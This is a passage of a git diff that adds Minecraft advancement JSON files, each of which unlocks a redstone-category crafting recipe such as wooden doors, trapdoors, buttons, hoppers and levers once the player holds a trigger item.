"has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:acacia_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:acacia_button" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/acacia_door.json b/src/data/minecraft/advancements/recipes/redstone/acacia_door.json new file mode 100644 index 00000000..a184250e --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/acacia_door.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:acacia_door" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:acacia_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:acacia_door" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/acacia_fence_gate.json b/src/data/minecraft/advancements/recipes/redstone/acacia_fence_gate.json new file mode 100644 index 00000000..e19303f3 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/acacia_fence_gate.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:acacia_fence_gate" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:acacia_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:acacia_fence_gate" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/acacia_pressure_plate.json b/src/data/minecraft/advancements/recipes/redstone/acacia_pressure_plate.json new file mode 100644 index 00000000..11f4cc15 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/acacia_pressure_plate.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:acacia_pressure_plate" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:acacia_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:acacia_pressure_plate" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/acacia_trapdoor.json b/src/data/minecraft/advancements/recipes/redstone/acacia_trapdoor.json new file mode 100644 index 00000000..7a5dd345 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/acacia_trapdoor.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:acacia_trapdoor" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:acacia_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:acacia_trapdoor" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/birch_button.json b/src/data/minecraft/advancements/recipes/redstone/birch_button.json new file mode 100644 index 00000000..c9f4336b --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/birch_button.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:birch_button" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:birch_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:birch_button" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/birch_door.json b/src/data/minecraft/advancements/recipes/redstone/birch_door.json new file mode 100644 index 00000000..83b75c2f --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/birch_door.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:birch_door" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:birch_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:birch_door" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/birch_fence_gate.json b/src/data/minecraft/advancements/recipes/redstone/birch_fence_gate.json new file mode 100644 index 00000000..72944885 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/birch_fence_gate.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:birch_fence_gate" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:birch_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:birch_fence_gate" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/birch_pressure_plate.json b/src/data/minecraft/advancements/recipes/redstone/birch_pressure_plate.json new file mode 100644 index 00000000..bc3876f5 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/birch_pressure_plate.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:birch_pressure_plate" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:birch_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:birch_pressure_plate" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/birch_trapdoor.json b/src/data/minecraft/advancements/recipes/redstone/birch_trapdoor.json new file mode 100644 index 00000000..1327b923 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/birch_trapdoor.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:birch_trapdoor" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:birch_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:birch_trapdoor" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/comparator.json b/src/data/minecraft/advancements/recipes/redstone/comparator.json new file mode 100644 index 00000000..4085251e --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/comparator.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:comparator" + ] + }, + "criteria": { + "has_quartz": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:quartz" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:comparator" + } + } + }, + "requirements": [ + [ + "has_quartz", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/crimson_button.json b/src/data/minecraft/advancements/recipes/redstone/crimson_button.json new file mode 100644 index 00000000..e86abbf4 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/crimson_button.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:crimson_button" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:crimson_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:crimson_button" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/crimson_door.json b/src/data/minecraft/advancements/recipes/redstone/crimson_door.json new file mode 100644 index 00000000..fca26d7e --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/crimson_door.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:crimson_door" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:crimson_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:crimson_door" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/crimson_fence_gate.json b/src/data/minecraft/advancements/recipes/redstone/crimson_fence_gate.json new file mode 100644 index 00000000..217e69e8 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/crimson_fence_gate.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:crimson_fence_gate" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:crimson_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:crimson_fence_gate" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/crimson_pressure_plate.json b/src/data/minecraft/advancements/recipes/redstone/crimson_pressure_plate.json new file mode 100644 index 00000000..d668fd7c --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/crimson_pressure_plate.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:crimson_pressure_plate" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:crimson_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:crimson_pressure_plate" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/crimson_trapdoor.json b/src/data/minecraft/advancements/recipes/redstone/crimson_trapdoor.json new file mode 100644 index 00000000..a7fd4ff0 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/crimson_trapdoor.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:crimson_trapdoor" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:crimson_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:crimson_trapdoor" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/dark_oak_button.json b/src/data/minecraft/advancements/recipes/redstone/dark_oak_button.json new file mode 100644 index 00000000..dc89d984 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/dark_oak_button.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:dark_oak_button" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:dark_oak_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:dark_oak_button" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/dark_oak_door.json b/src/data/minecraft/advancements/recipes/redstone/dark_oak_door.json new file mode 100644 index 00000000..302a6ccb --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/dark_oak_door.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:dark_oak_door" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:dark_oak_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:dark_oak_door" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/dark_oak_fence_gate.json b/src/data/minecraft/advancements/recipes/redstone/dark_oak_fence_gate.json new file mode 100644 index 00000000..43476bb3 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/dark_oak_fence_gate.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:dark_oak_fence_gate" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:dark_oak_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:dark_oak_fence_gate" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/dark_oak_pressure_plate.json b/src/data/minecraft/advancements/recipes/redstone/dark_oak_pressure_plate.json new file mode 100644 index 00000000..ecb5168b --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/dark_oak_pressure_plate.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:dark_oak_pressure_plate" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:dark_oak_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:dark_oak_pressure_plate" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/dark_oak_trapdoor.json b/src/data/minecraft/advancements/recipes/redstone/dark_oak_trapdoor.json new file mode 100644 index 00000000..95958cfd --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/dark_oak_trapdoor.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:dark_oak_trapdoor" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:dark_oak_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:dark_oak_trapdoor" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/daylight_detector.json b/src/data/minecraft/advancements/recipes/redstone/daylight_detector.json new file mode 100644 index 00000000..fb491f9d --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/daylight_detector.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:daylight_detector" + ] + }, + "criteria": { + "has_quartz": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:quartz" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:daylight_detector" + } + } + }, + "requirements": [ + [ + "has_quartz", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/dispenser.json b/src/data/minecraft/advancements/recipes/redstone/dispenser.json new file mode 100644 index 00000000..0e9f7af2 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/dispenser.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:dispenser" + ] + }, + "criteria": { + "has_bow": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:bow" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:dispenser" + } + } + }, + "requirements": [ + [ + "has_bow", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/dropper.json b/src/data/minecraft/advancements/recipes/redstone/dropper.json new file mode 100644 index 00000000..78d99bbe --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/dropper.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:dropper" + ] + }, + "criteria": { + "has_redstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:redstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:dropper" + } + } + }, + "requirements": [ + [ + "has_redstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/heavy_weighted_pressure_plate.json b/src/data/minecraft/advancements/recipes/redstone/heavy_weighted_pressure_plate.json new file mode 100644 index 00000000..7e6fcb8a --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/heavy_weighted_pressure_plate.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:heavy_weighted_pressure_plate" + ] + }, + "criteria": { + "has_iron_ingot": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:iron_ingot" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:heavy_weighted_pressure_plate" + } + } + }, + "requirements": [ + [ + "has_iron_ingot", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/hopper.json b/src/data/minecraft/advancements/recipes/redstone/hopper.json new file mode 100644 index 00000000..c365fe14 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/hopper.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:hopper" + ] + }, + "criteria": { + "has_iron_ingot": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:iron_ingot" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:hopper" + } + } + }, + "requirements": [ + [ + "has_iron_ingot", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/iron_door.json b/src/data/minecraft/advancements/recipes/redstone/iron_door.json new file mode 100644 index 00000000..b410cc90 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/iron_door.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:iron_door" + ] + }, + "criteria": { + "has_iron_ingot": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:iron_ingot" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:iron_door" + } + } + }, + "requirements": [ + [ + "has_iron_ingot", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/iron_trapdoor.json b/src/data/minecraft/advancements/recipes/redstone/iron_trapdoor.json new file mode 100644 index 00000000..63e158df --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/iron_trapdoor.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:iron_trapdoor" + ] + }, + "criteria": { + "has_iron_ingot": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:iron_ingot" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:iron_trapdoor" + } + } + }, + "requirements": [ + [ + "has_iron_ingot", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/jungle_button.json b/src/data/minecraft/advancements/recipes/redstone/jungle_button.json new file mode 100644 index 00000000..bebe9ece --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/jungle_button.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:jungle_button" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:jungle_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:jungle_button" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/jungle_door.json b/src/data/minecraft/advancements/recipes/redstone/jungle_door.json new file mode 100644 index 00000000..4b638bb3 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/jungle_door.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:jungle_door" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:jungle_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:jungle_door" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/jungle_fence_gate.json b/src/data/minecraft/advancements/recipes/redstone/jungle_fence_gate.json new file mode 100644 index 00000000..b31971f6 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/jungle_fence_gate.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:jungle_fence_gate" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:jungle_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:jungle_fence_gate" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/jungle_pressure_plate.json b/src/data/minecraft/advancements/recipes/redstone/jungle_pressure_plate.json new file mode 100644 index 00000000..490482a0 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/jungle_pressure_plate.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:jungle_pressure_plate" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:jungle_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:jungle_pressure_plate" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/jungle_trapdoor.json b/src/data/minecraft/advancements/recipes/redstone/jungle_trapdoor.json new file mode 100644 index 00000000..1a248884 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/jungle_trapdoor.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:jungle_trapdoor" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:jungle_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:jungle_trapdoor" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/lectern.json b/src/data/minecraft/advancements/recipes/redstone/lectern.json new file mode 100644 index 00000000..478358d0 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/lectern.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:lectern" + ] + }, + "criteria": { + "has_book": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:book" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:lectern" + } + } + }, + "requirements": [ + [ + "has_book", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/lever.json b/src/data/minecraft/advancements/recipes/redstone/lever.json new file mode 100644 index 00000000..c332b9cc --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/lever.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:lever" + ] + }, + "criteria": { + "has_cobblestone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:cobblestone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:lever" + } + } + }, + "requirements": [ + [ + "has_cobblestone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/light_weighted_pressure_plate.json b/src/data/minecraft/advancements/recipes/redstone/light_weighted_pressure_plate.json new file mode 100644 index 00000000..f3c1d9be --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/light_weighted_pressure_plate.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:light_weighted_pressure_plate" + ] + }, + "criteria": { + "has_gold_ingot": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:gold_ingot" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:light_weighted_pressure_plate" + } + } + }, + "requirements": [ + [ + "has_gold_ingot", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/note_block.json b/src/data/minecraft/advancements/recipes/redstone/note_block.json new file mode 100644 index 00000000..66ec3eff --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/note_block.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:note_block" + ] + }, + "criteria": { + "has_redstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:redstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:note_block" + } + } + }, + "requirements": [ + [ + "has_redstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/oak_button.json b/src/data/minecraft/advancements/recipes/redstone/oak_button.json new file mode 100644 index 00000000..bfd2e8d8 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/oak_button.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:oak_button" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:oak_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:oak_button" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/redstone/oak_door.json b/src/data/minecraft/advancements/recipes/redstone/oak_door.json new file mode 100644 index 00000000..be7328ba --- /dev/null +++ b/src/data/minecraft/advancements/recipes/redstone/oak_door.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:oak_door" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:oak_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:oak_door" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git 